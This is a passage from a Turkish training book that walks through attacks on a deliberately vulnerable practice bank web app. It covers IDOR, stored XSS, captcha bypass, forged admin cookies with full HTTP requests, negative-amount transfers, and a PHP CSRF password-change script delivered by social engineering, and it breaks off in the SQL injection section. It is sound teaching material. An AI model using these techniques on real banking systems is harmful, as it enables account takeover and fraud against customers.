Page 51: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   51    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

19. Havale/EFT İşlemi Mantık Hatası ve İstismarı Uygulamaya   web   üzerinden   girildiğinde   Havale/EFT   işlemleri   için   ücret   kesilirken,   mobil  cihazlardan    girildiğinde  ücret  kesilmemektedir.  Bu  zafiyet  ile  User-­‐Agent  bilgisi  mobil  cihaz  olacak  şekilde  değiştirilerek  havale/EFT  işlemi  ücretsiz  yapılabilir.  

 Şekil  50.  User-­‐Agent  Switcher  

Aşağıda   web   ve   mobil   olarak   iki   arayüz   gösterilmiştir.   Web   arayüzde   yapılan   işlemlerden  ücret  kesileceği  uyarısı  yer  almaktadır  fakat  mobilde  bu  uyarıya  yer  verilmemiştir.  

Web  

               

Page 52: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

52   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

Mobil  

 

   

Page 53: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   53    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

20. Müşteri Bilgileri Insecure Direct Object Zafiyeti ve İstismarı Müşteri,   profil   bilgilerini   Müşteri   Bilgilerim   menüsü   altında   bulabilmektedir.   Bu   sayfadaki  bilgiler   Tablo   19   da   belirtilen   musteriID   parametresi   ile   veritabanından   çağrılmaktadır.  Parametre   değeri   değiştirilip   başka   bir   değer   girildiğinde   sisteme   kayıtlı   diğer   müşteri  bilgilerine  erişim  sağlanabilmektedir.  

URL   http://isube.bgabank.com/profil.aspx?musteriID=11  

HTTP  Talep  Türü   GET  

Parametre   musteriID  

Tablo  19.  Müşteri  Bilgileri  Insecure  Direct  Object  Zafiyet  Bilgileri  

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Page 54: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

54   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

Şekil  51.  de  sisteme  musteriID  değeri  11  olan  Mustafa  Balaban  olarak  giriş  yapılmıştır.  

 Şekil  51.  Müşteri  Bilgileri  

 

 

 

 

 

 

 

 

 

Page 55: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   55    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

Tablo   19.   da   verilen   URL   bilgisinin   sonunda   bulunan   11   olan   mustediID   parametresinin  değeri  12  olarak  değiştirildiğinde  şekil  52  de  görüldüğü  gibi  başka  bir  kullanıcının  bilgilerine  ulaşılır.  

 Şekil  52.  Başka  Müşteri  Bilgileri  

   

Page 56: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

56   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

21. Ziyaretçi Defteri Stored XSS Zafiyeti ve İstismarı Ziyaretçi  defteri  sayfasında  yer  alan  “Mesajınız”  kısmında  Stored  XSS  zafiyeti  vardır.  İstismar  edildiğinde,   stored   tipinde   bir   XSS   olduğu   için,   ilgili   sayfa   her   ziyaret   edildiğinde   payload  çalışacaktır.  

URL   http://isube.bgabank.com/ziyaretcidef.aspx  

HTTP  Talep  Türü   POST  

Payload   <script>alert(document.cookie)</script>  

Parametre   k4  

Tablo  20.  Ziyaretçi  Defteri  Stored  XSS  Zafiyet  Bilgileri  

Tablo   20.   de   yer   alan   payload   şekil   53.   deki   gibi   “Mesajınız”   kısmına   yazılır   ve   sisteme  gönderilir.      

 Şekil  53.  Ziyaretçi  Defteri  

             

Page 57: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   57    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

Sonuç,  başarılı.  (Şekil  54)  

Şekil  54.  Sonuç  

   

Page 58: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

58   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

22. Çalışmayan Captcha Uygulaması

URL   http://isube.bgabank.com/administrator.aspx  

Tablo  21.  Çalışmayan  Captcha  Adresi  

Tablo  21.  de  belirtilen  adreste  bulunan  captcha  çalışmamaktadır.  Administrator  giriş  sayfası  için  sadece  captchanın  boş  olup  olmadığının  kontrolü  yapılmaktadır.  

 Şekil  55.  Başarısız  Deneme  

 Şekil  56.  Başarılı  Deneme  

   

Page 59: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   59    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

23. Captcha Atlatarak Brute Force Saldırısı Gerçekleştirme

URL   http://isube.bgabank.com/iletisim.aspx  

Tablo  22.  Captcha  Adresi  

BGA   Bank   iletişim   sayfasında   bulunan   captchanın   doğru   bir   şekilde   girildiğinin   kontrolü  yapılmaktadır   (Şekil   57)   ancak   araya   girilerek   tek   bir   captcha   ile   çok   fazla   GET   isteği  gönderilebilir.    

 Şekil  57.  İletişim  Sayfası  Boş  Captcha  Sonucu  

Page 60: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

60   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

 Şekil  58.  İletişim  Sayfası  Captcha  Kontrolü  

İstismar  için  gönderilen  GET  isteği  örneği  aşağıdaki  gibidir.  Burada  aynı  captcha  kullanılarak  sadece  mail  adresleri  değiştirilip  gönderilmiştir.  Örnek  GET  isteği  aşağıdaki  gibidir.  

GET  /ajax.php?sayfa=iletisim.php&k1=Ceylan&k2=Bozogullarindan&k3=(554)+478+87+88&k4=Ba%C5%9Fvuru+Hakk%C4%B1nda&k5=Ornek+mesaj&k6=deneme%40bga.com.tr&k7=ptisan  HTTP/1.1  Host:  isube.bgabank.com  User-­‐Agent:  Mozilla/5.0  (Windows  NT  6.3;  WOW64;  rv:32.0)  Gecko/20100101  Firefox/32.0  Accept:  text/html,  */*;  q=0.01  Accept-­‐Language:  en-­‐US,en;q=0.5  Accept-­‐Encoding:  gzip,  deflate  Content-­‐Type:  text/plain;  charset:UTF-­‐8  X-­‐Requested-­‐With:  XMLHttpRequest  Referer:  http://isube.bgabank.com/iletisim.aspx  Cookie:  PHPSESSID=uq0vkig0f89mg24dse8s8akdu2  DNT:  1  Connection:  keep-­‐alive  

Page 61: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   61    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

Ekran  görüntüsünde  ve  örnek  GET   isteğinde  görülebileceği  gibi  mail  adreslerini   fuzz  etmek  için  Burp  üzerinde  k6  parametresine  §§  sembolleri  eklenmiştir.  (Şekil  59)  

 Şekil  59.  Burp  Suite  Intruder  Pozisyon  Belirleme  

Örnek  olarak  oluşturulan  sahte  email  adresleri  başarıyla  yollanmıştır.  (Şekil  60)  

 Şekil  60.  Sonuç  

   

Page 62: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

62   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

24. Cookie Hırsızlığı ile Yönetim Panelinde Oturum Açmak Senaryo:   Öncelikle   hedef   sistemde   yönetim   paneli   bulunur.   Ardından   yanlış   bilgilerle   giriş  yapılmaya   çalışılır.   Sunucudan   gelen   cevap   takip   edildiğinde   Set-­‐cookie   başlık   bilgisinde  “is_admin=false”  gibi  bir  değerin  döndüğü  görülür.  Bu  değer  true  olarak  girilse  dahi  yönetici  kullanıcı   bilgilerine   sahip   olmadan   giriş   yapılamayacaktır.   Bu   nedenle   uygulamaya   normal  müşteri  olarak  giriş  yapılmaya  çalışılır  (Beni  hatırla  seçeneğinin  aktif  olması  gerekir.).  Giden  isteğe  araya  girilerek  Cookie  başlık  bilgisine   is_admin=true  değeri  eklenir.  Ancak  bu  da   tek  başına  yeterli  olmayacaktır.  Normal  bir  müşteriye  sunucudan  cookie  bilgisinde  user_id,  u_p,  u_a   gibi   geriye   değerler   döner.   Bu   değerler   user_id   haricinde   encode   olarak   geldiği   için  anahtar   olmadan   çözmek   zordur.   user_id   değeri   ise   kullanıcının   sistemde   kayıtlı   olduğu   id  değeridir.  Yönetici  olarak  giriş  yapabilmek  için  yöneticinin  user_id  değerini  de  tahmin  etmek  gerekir.  Web  uygulamalarında  genelde  yönetici  değerleri  0,1  gibi  değerler  taşır.  BGA  Bank’da  user_id=1   ve   user_id=2   değerleri   müşteri   temsilcilerine   aittir.   Cookie   başlık   bilgisinde  bulunan  user_id  bu  değerlerden  birisiyle  değiştirilip  istek  gönderildiğinde  yönetici  paneli  ele  geçirilmiş  olur.  

1)  Yönetici  paneline  giriş  denenir.  

Gönderilen  İstek  

GET  /ajax.php?sayfa=temsilcigiris.php&k=11111111&s=1111111&c=AA  HTTP/1.1  Host:  isube.bgabank.com  User-­‐Agent:  Mozilla/5.0  (Windows  NT  6.3;  WOW64;  rv:32.0)  Gecko/20100101  Firefox/32.0  Accept:  text/html,  */*;  q=0.01  Accept-­‐Language:  en-­‐US,en;q=0.5  Accept-­‐Encoding:  gzip,  deflate  Content-­‐Type:  text/plain;  charset:UTF-­‐8  X-­‐Requested-­‐With:  XMLHttpRequest  Referer:  http://isube.bgabank.com/administrator.aspx  Cookie:  PHPSESSID=hssns8khv40cgpbmpjr44ibjm6  DNT:  1  Connection:  keep-­‐alive  

 Sunucudan  Dönen  Cevap  ve  Set-­‐Cookie  Değeri  

HTTP/1.1  200  OK  Date:  Sat,  13  Sep  2014  19:17:58  GMT  Server:  Apache/2.4.7  (Ubuntu)  X-­‐Powered-­‐By:  PHP/5.5.9-­‐1ubuntu4.3  Expires:  Thu,  19  Nov  1981  08:52:00  GMT  Cache-­‐Control:  no-­‐store,  no-­‐cache,  must-­‐revalidate,  post-­‐check=0,  pre-­‐check=0  Pragma:  no-­‐cache  L-­‐IP:  172.16.16.100  Set-­‐Cookie:  is_admin=false;  expires=Sat,  13-­‐Sep-­‐2014  20:17:58  GMT;  Max-­‐Age=3600  Content-­‐Length:  22  

Page 63: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   63    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

Keep-­‐Alive:  timeout=5,  max=100  Connection:  Keep-­‐Alive  Content-­‐Type:  text/html    Bilgileriniz  Yanlış!  

 

 Şekil  61.  Sunucudan  Dönen  Cevap  

2)  Müşteri  girişi  POST  isteği  parametreleri  aşağıdaki  gibi  değiştirilerek  istek  olarak  sunucuya  gönderilir.  

Normal  müşteri   girişi,  POST   isteği   aşağıdaki   gibidir.  Bu   isteğe  araya  girip  user_id  değerinin  değiştirilmesi   ve   is_admin=true   değerinin   eklenmesi   gerekir.    

Gönderilen  İstek  

POST  /giris.aspx  HTTP/1.1  Host:  isube.bgabank.com  User-­‐Agent:  Mozilla/5.0  (Windows  NT  6.3;  WOW64;  rv:32.0)  Gecko/20100101  Firefox/32.0  Accept:  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  Accept-­‐Language:  en-­‐US,en;q=0.5  Accept-­‐Encoding:  gzip,  deflate  Referer:  http://isube.bgabank.com/giris.aspx  Cookie:  PHPSESSID=hssns8khv40cgpbmpjr44ibjm6;  is_admin=false  Connection:  keep-­‐alive  Content-­‐Type:  application/x-­‐www-­‐form-­‐urlencoded  Content-­‐Length:  38    b_musterino=10000142&b_password=100011  

         

Page 64: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

64   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

user_id  ve  is_admin  parametre  değerleri  değiştirilerek  gönderilen  POST  isteği  

POST  /giris.aspx  HTTP/1.1  Host:  isube.bgabank.com  User-­‐Agent:  Mozilla/5.0  (Windows  NT  6.3;  WOW64;  rv:32.0)  Gecko/20100101  Firefox/32.0  Accept:  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  Accept-­‐Language:  en-­‐US,en;q=0.5  Accept-­‐Encoding:  gzip,  deflate  Referer:  http://isube.bgabank.com/giris.aspx  Cookie:  user_id=1;  PHPSESSID=hssns8khv40cgpbmpjr44ibjm6;  is_admin=true  Connection:  keep-­‐alive  Content-­‐Type:  application/x-­‐www-­‐form-­‐urlencoded  Content-­‐Length:  38    b_musterino=10000142&b_password=100011  

 

 Şekil  62.  Yönetim  Paneli  

Bu   panelde   başka   bir   menüye   gidilmek   istendiğinde   yine   araya   girip   user_id   ve   is_admin  parametrelerinin   düzenlenmesi   gerekir.   Örnek   olarak   mesajlar   kısmına   girmek   için   giden  istek  aşağıdaki  gibi  olacaktır.  

Gönderilen  İstek  

GET  /mesajlar.aspx  HTTP/1.1  Host:  isube.bgabank.com  User-­‐Agent:  Mozilla/5.0  (Windows  NT  6.3;  WOW64;  rv:32.0)  Gecko/20100101  Firefox/32.0  Accept:  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  Accept-­‐Language:  en-­‐US,en;q=0.5  Accept-­‐Encoding:  gzip,  deflate  Referer:  http://isube.bgabank.com/giris.aspx  Cookie:  PHPSESSID=hssns8khv40cgpbmpjr44ibjm6;  is_admin=false  DNT:  1  Connection:  keep-­‐alive  

 

Page 65: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   65    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

Düzenlemeler  Yapılan    İstek  

GET  /mesajlar.aspx  HTTP/1.1  Host:  isube.bgabank.com  User-­‐Agent:  Mozilla/5.0  (Windows  NT  6.3;  WOW64;  rv:32.0)  Gecko/20100101  Firefox/32.0  Accept:  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  Accept-­‐Language:  en-­‐US,en;q=0.5  Accept-­‐Encoding:  gzip,  deflate  Referer:  http://isube.bgabank.com/giris.aspx  Cookie:  user_id=1;  PHPSESSID=hssns8khv40cgpbmpjr44ibjm6;  is_admin=true  DNT:  1  Connection:  keep-­‐alive  

 Mesajlar  kısmı  görüntülenir.  (Şekil  63)  

 Şekil  63.  Mesajlar  Sayfası  

   

Page 66: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

66   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

25. Müşteri Parolasının Tahmin Edilebilir Olması BGA   Bank   uygulamasında   yeni   müşteri   olmak   için   Başvuru   menüsü   aracılığıyla   başvuru  yapılabilir.   Kayıt   olunan   e-­‐posta   adresine   kullanıcının   detaylı   hesap   ve   kart   bilgisi  yollanmaktadır.   Örnek   postada   görülebileceği   gibi   parola   bilgisi   uygulama   tarafından  belirlenmektedir.  (Şekil  64)    

 Şekil  64.  Müşteri  Bilgilerini  İçeren  Posta  

Bu   bilgilerle   giriş   yapılırken   giden   istekte   uygulamanın   atadığı   user_id   değeri   (user_id=8)  görülebilir.  Parola  bilgisi   ise  100008’dir.  Bu  noktada  parola  bilgisinin  user_id  değerine  göre  belirlendiği  düşünülebilir.    

GET  /  HTTP/1.1  Host:  isube.bgabank.com  User-­‐Agent:   Mozilla/5.0   (Macintosh;   Intel   Mac   OS   X   10.9;   rv:28.0)   Gecko/20100101  Firefox/28.0  Accept:  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  Accept-­‐Language:  en-­‐US,en;q=0.5  Accept-­‐Encoding:  gzip,  deflate  DNT:  1  Referer:  http://isube.bgabank.com/giris.aspx  Cookie:   PHPSESSID=utaav0saru5r2t2kusvr21u4k5;   u_a=7OhHhvLLFV8%3D;  u_p=%2F2Ytv12Ui1o%3D;  user_id=8;  u__=true  Connection:  keep-­‐alive  

   

Page 67: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   67    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

Bu  tahmini  doğrulamak  için  Burp  ile  araya  girilip  müşteri  numarası  ve  parola  bilgisine  fuzzing  uygulanır.   b_musterino   ve   b_password   parametrelerine   fuzzing   yapılır.   Sağ   tıklanıp  Intruder’a  gönderilir.  

 Şekil  65.  Payload  Positions  

Intruder  sekmesine  geçilir  ve  payload  1  kısmı  (b_musterino)  için  ayarlar  şekil  66.  da  ki  gibidir.  

 Şekil  66.  Intruder  Ayarlar  

Page 68: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

68   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

Payload  2  (b_password)  için  ayarlar  şekil  67  de  ki  gibidir.  

 Şekil  67.  Payload  2  Ayarlar  

 

 

 

 

 

 

 

 

 

 

Page 69: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   69    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

Bu  ayarlar  ile  saldırı  başlatılır  ve  şekil  68  deki  gibi  başka  bir  kullanıcıya  ait  kullanıcı  bilgisi  elde  edilebilir.  

 

 Şekil  68.  Başka  Bir  Kullanıcı  

   

Page 70: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

70   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

26. Havale İşleminde Mantık Hatası (Havale Yaparak Bakiye Arttırma) BGABank   uygulaması   Havale/EFT   işlemlerinde   gönderilecek  miktar   kısmında   -­‐   (negatif)   bir  değer   girildiğinde   kullanılabilir   bakiyenin   arttığı   görülecektir.   Şekil   69.   da   -­‐10   lira  gönderilmiştir.  

Şekil  69.  Para  Havale  İşlemi  

Bakiyenin  gönderim  sonrasında  ise  10009  lira  (1  lira  havale  ücreti)  olduğu  görülebilir.  (Şekil  70)  

 Şekil  70.  Hesap  Bilgileri  

Page 71: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   71    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

27. Dizin Listeleme/İfşa Zafiyeti URL   http://isube.bgabank.com/assets/  

http://isube.bgabank.com/assets/contents/  http://isube.bgabank.com/assets/admin/  http://isube.bgabank.com/style/  

Tablo  23.  Dizinler  

İstemciler   tarafından   gelen   URL   istekleri   bir   dizini   ifade   etmesi   durumunda,   dizin   içeriği  listelenmektedir.   Bu   durum,   bir   saldırganın   adını   bildiği,   öğrendiği   ya   da   tahmin   ettiği  dizinlerin   içeriğini   listeleyebilmesine   imkan   vermektedir.     Listelenen   dosya   ve   klasörlerin  arasında  önemli  bilgiler  olabilir.    

 Şekil  71.  Dizin  Listeleme  

 

Page 72: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

72   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

28. Şifre Değiştirme İşlemi CSRF Zafiyeti ve İstismarı Senaryo:   Hedef   kullanıcı,   sistemde  müşteri   numarası   ve   şifresi   ile   oturum   açar.   Saldırgan,  müşteri   şifresini   değiştirip,   hedef   müşterinin   hesabından   kendi   hesabına   para   aktarmayı  amaçlamıştır.  Bunun  için  normal  bir  müşteri  gibi  bankada  hesap  açtırır  ve  internet  şubesini  kullanmaya   başlar.   Şifre   değiştirme   sayfasında   CSRF   için   herhangi   bir   önlem   alınıp  alınmadığını,  alındıysa  doğru  çalışıp  çalışmadığını  veya  atlatılıp  atlatılamaya-­‐  cağını  araştırır.  Araştırmalar   sonucunda   hedef   müşteriye   yollayacağı   sayfayı   kodlar.   Kodladığı   dosyayı  internete   yükler   ve   hedefine   sosyal   mühendislik   ile   dosyanın   adresini   gönderir.   Müşteri,  oturumu  açıkken  linke  tıklar  ve  şifresi  saldırganın  istediği  şekilde  değiştirilmiş  olur.  Saldırgan  amacına  ulaşmıştır.  

BGA  Bank   ‘da  yukarıda  anlatılan   senaryo  uygulanabilir.   Şekil   72.  de   şifre  değiştirme  paneli  gösterilmiştir.  

     Şekil  72.  Müşteri  Şifre  Değiştirme  Paneli  

BGA  Bank  şifre  değiştirme  panelinde  CSRF  önlemi  olarak  şekil  72'  de    görüldüğü  gibi  forma  "Eski   Şifrenizi   Giriniz   "   bölümü   eklenmiştir.   Fakat   bu   bölüm,   sunucu   tarafında   kontrol  edilmediğinden   herhangi   bir   önemi   yoktur.   Amaç   koruma   var   gibi   gösterip,   saldırganı  yanıltarak  CSRF  denemesini  engellemektir.  

Saldırı  adım  adım  aşağıda  anlatılmıştır.    

 

 

 

 

 

Page 73: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   73    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

1)   Saldırgan   sisteme  müşteri   olarak   kayıt   olur.   Şifre   değiştirme   panelini   inceler   ve   hedefe  göndereceği  sayfayı  uygun  bir  dilde  kodlar.    

<?php  $ch  =  curl_init("http://isube.bgabank.com/ajax.php?sayfa=sifre.php&k5=11&k6=hacked&k7=hacked");  curl_setopt($ch,  CURLOPT_HTTPHEADER,  array("X-­‐Requested-­‐With:  xmlhttprequest"));  $result  =  curl_exec  ($ch);  curl_close  ($ch);  ?>  

CSRF.php  

Yukarıda   belirtilen   kod   parçacığında   3.   satırda   belirtilen   URL   ‘e   PHP-­‐Curl   kütüphanesi  kullanılarak  GET  isteği  gönderilmiştir.  Sayfa  tarayıca  yüklenir  yüklenmez  veritabanındaki  id  si  11  olan  kullanıcının  şifresi  “hacked”  olarak  değişecektir.  

2)  Saldırgan  kodladığı  sayfayı  internete  yükler.  Bu  dökümanda  anlatım  için  yüklenilen  adres  tablo  24.  de  gösterilmiştir.  (Örnektir)  

URL   http://www.bgabank.com/csrf.php  

Tablo  23.  Yüklenilen  Dosya  Adresi  

3)   Dosya   linkini   hedefe   gönderir,   göndermeden   önce   BGA   Bank   oturumunun   açık  olduğundan  emin  olur.  (Şekil  73)  

 Şekil  73.  Sosyal  Mühendislik  

 

 

 

 

Page 74: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

74   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

4)  Hedef,  bankada  oturumu  açıkken  maili  görür  ve  belirtilen  linke  tıklar.  (Şekil  74)  

 Şekil  74.  Hedef  Linke  Tıklar  

 Şekil  75.  Şifre  Değişir  

 

 

 

 

 

 

Page 75: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   75    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

5)  Sistemden  çıkış  yapan  hedef  kullanıcı  tekrar  hesabına  eski  şifresi  ile  giriş  yapmayı  dener  ve  erişemez  çükü  şifresi  değişmiştir.  (Şekil  76)  

 Şekil  76.  Hedef  Giriş  Yapamaz  

 

Page 76: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

76   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

29. Kartlarım Sayfası Insecure Direct Object References Zafiyeti ve İstismarı BGA  Bank  kartlarım  sayfasına  erişen  bir  kullanıcı  ya  da  saldırgan,get  veya  post   isteklerinde  araya  girip  değişiklik  yaparak  başka  kullanıcıların  kart  bilgilerine  erişebilir  ve  eriştiği  bilgileri  istediği   gibi   değiştirebilir.   Aşağıda   adım   adım   başka   bir   kullanıcının   kart   şifresinin  değiştirilmesi  anlatılmıştır.  

 Şekil  77.  Kartlarım  Parola  Değiştirme  Formu  

1)  Kullanıcı   olarak   giriş   yapılır   ve   şifre   değiştirme   sistemi   hakkında   burp   ile   araya   girilerek  sunucuya  gönderilen  veriler  hakkında  bilgi  edinilir.  

Şekil  77.  de  belirtilen  form  doğru  biçimde  doldurulur  ve  butona  tıklanır.  Başarılı  bir  şekilde  parolanın   değiştiği   görülecektir.   Bu   kısımda   forma   doldurulan   verilerin,   sunucu   tarafına  hangi  metot   ile  hangi  parametrelerin  gönderildiği   saptanmalıdır.  Eğer  müşteri  numarası  ya  da   kart   numarası   gizli   olarak   form   parametreleri   arasında   gönderiliyorsa,   müşteri/kart  numarası  manipüle  edilerek  başka  kullanıcıların  kart  bilgileri  değiştirilebilecektir.  

Page 77: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   77    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

 Şekil  78.  Parametre  Değerlerinin  Analizi  

Şekil  78.  de  görüldüğü  gibi  kart  numarası  gönderilen  parametreler  arasında  yer  almaktadır.  Bu   değer   8   olarak   değiştirilip   yeni   şifre   ataması   yapıldığında   8   numaralı   kartın   şifresi  belirtilen   şifre   olarak   değiştirilecektir.   Herhangi   bir   değişiklik   yapmadan   önce   yapılan  değişikliği   gösterme  adına   kartlar   tablosunda   yer   alan   8   numaralı   kartın   bulunduğu   satırın  görüntüsü  şekil  79.  da  verilmiştir.    

 Şekil  79.  Parametre  Değerlerinin  Analizi  

2)   k_id   değeri   başka   bir   kart   numarası   (8)   ile   değiştirilir   ve   şifre   değerlerine   istenilen   bir  değer  (270694)  yazılır.  (Şekil  80)  

 Şekil  80.  Parametre  Değerlerinde  Manipülasyon  İşlemi  

 

 

Page 78: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

78   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

Sonuç  şekil  81.  de  gösterilmiştir.  Başka  müşteriye  ait  kart  parolası  başarıyla  değiştirilmiştir.  

 Şekil  81.  Insecure  Direct  Object  References  Sonuç  

 

Page 79: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   79    

   BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr  

 

   

30. Şubeler Sayfası SQL Injection Zafiyeti ve İstismarı Şekil  82.  de  gösterilen  sayfada  il  seçimi  yapılıyor.  Bu  sayfada  bulunan  sql  injection  zafiyetinin  tespiti  ve  istismarı  aşağıda  adım  adım  gösterilmiştir.  

 Şekil  82.  Şubeler  Sayfası  

1)   İl   seçimi   yaparken   Burp   Suite   kullanarak   HTTP   protokolünde   istek   olarak   hangi  verilerin/parametrelerin  sunucuya  gönderiliği  öğrenilir.  

Bu   kısımda   Burp   Suite'in   "Repeater"   aracından   faydalanılacaktır.   Proxy   sekmesine   düşen  isteğe  şekil  83.  de  ki  gibi  sağ  tıklanarak  "Send  to  Repeater"  seçilir.  

 Şekil  83.  Send  To  Repeater  

 

Page 80: BGA BANK Web Güvenlik Testleri Uygulama Kitabı

80   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı    

     BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr    

 

   

Repeater   ile   bir   istek   tekrar   tekrar   gönderilip   dönen   cevaplar   aynı   pencere   içinde  görüntülenebilir.   Repeater'a   gönderilen   isteğin   görüntüsü   şekil   84.   'de   gösterilmiştir.   Sol  taraf  gönderilen  isteği,  sağ  taraf  ise  dönen  cevabı  barındırır.  

 

 Şekil  84.  Repeater  

